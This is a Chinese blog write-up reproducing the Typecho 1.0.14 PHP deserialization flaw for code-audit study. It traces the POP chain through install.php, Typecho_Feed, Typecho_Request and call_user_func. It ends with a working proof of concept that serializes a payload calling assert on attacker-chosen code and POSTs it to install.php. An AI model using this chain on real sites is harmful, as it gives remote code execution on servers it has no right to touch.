Typecho deserialization

一直想研究一下反序列化漏洞,趁着在复习php的各种安全问题,为了代码审计打好基础,在这里记录一下复现typecho反序列化漏洞,该漏洞可导致前台getshell。
php反序列化漏洞的产生原因,利用方法请自行谷歌,网上的文章一抓一大把,这里就不废话了。
typecho这个漏洞所需要用到的知识:

_get()方法在对象引用不存在的属性时会被调用。
_toString()方法在一个对象被当作字符串时被调用。

array_map():为数组的每个元素应用回调函数
call_user_func():把第一个参数作为回调函数调用

入口文件-install.php

./install.php 228~234行(作者用的是1.0.14版本)

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

这段代码中进行了反序列化操作,跟进Typecho_Cookie类的get方法
./var/Typecho/Cookie.php 83~88行

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

也就是说我们可以使用cookie或者post方法来利用漏洞。继续跟进 Typecho_Db类:
./var/Typecho/Db.php 114~120行

1
2
3
4
5
6
7
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

最后一段代码进行了字符串拼接,如果$adapterName为一个实例化的一个类,在这里进行拼接,那么就会触发该对象的_toString()方法。

利用的转折点

./var/Typecho/Feed.php 284~290行

1
2
3
4
5
6
7
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

行末的代码 $item[‘author’]->screenName,这里用到_get()方法,类中不存在screenName这个属性,就会调用_get()方法。

成功利用魔术方法

./var/Typecho/Request.php 267~270行

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进一下get()方法,在下面的 293~309行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

继续跟进_applyFilter方法 159~165行:

1
2
3
4
5
6
7
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

将$filter设置为回调函数assert,$value为执行的代码即可。
在这里简单记录一下整个POP链,不做讲解,因为各大论坛的优秀文章太多了,本文只为博主记录漏洞复现过程。

遇到的问题

如果真的理解了php反序列化漏洞,并且懂了typecho这个洞的整条POP链,一定会发现一个问题,就是在触发_toString()方法的时候,我们的install.php文件并没有包含Feed.php文件,所以一直不理解是怎么调用_toString()及_get()方法的。

问题的解决

后来仔细从头读了一下install.php的代码,发现代码第52行:

1
2
/** 程序初始化 */
Typecho_Common::init();

万恶之源就在这个init()方法里面,跟进一下。
./var/Typecho/Common.php 202~211行:

1
2
3
4
5
6
7
8
9
10
public static function init()
{
/** 设置自动载入函数 */
if (function_exists('spl_autoload_register')) {
spl_autoload_register(array('Typecho_Common', '__autoLoad'));
} else {
function __autoLoad($className) {
Typecho_Common::__autoLoad($className);
}
}

__autoLoad官方文档

POC

虽然漏洞已经挺久了,但是复现后总是能学到新的东西,对审计的经验也提升了不少,根据自己的理解,(改)了个POC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}

}

class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_items = array();
private $_type;
public function __construct()
{
$this->_type = $this::RSS2;
$items['author'] = new Typecho_Request();
$items['category'] = array(new Typecho_Request());
$this->_items[0] = $items;

}
}

$exp = array('adapter' => new Typecho_Feed(), 'prefix' => 'typecho_');
echo base64_encode(serialize($exp));

post访问url->http://localhost/Typecho/install.php?finish, post数据为上面的代码生成的payload。
参考文章:
由Typecho深入理解PHP反序列化漏洞
Typecho反序列化漏洞导致前台getshell
红日安全PHP-Audit-Labs

文章目录
  1. 1. 入口文件-install.php
  2. 2. 利用的转折点
  3. 3. 成功利用魔术方法
  4. 4. 遇到的问题
  5. 5. 问题的解决
  6. 6. POC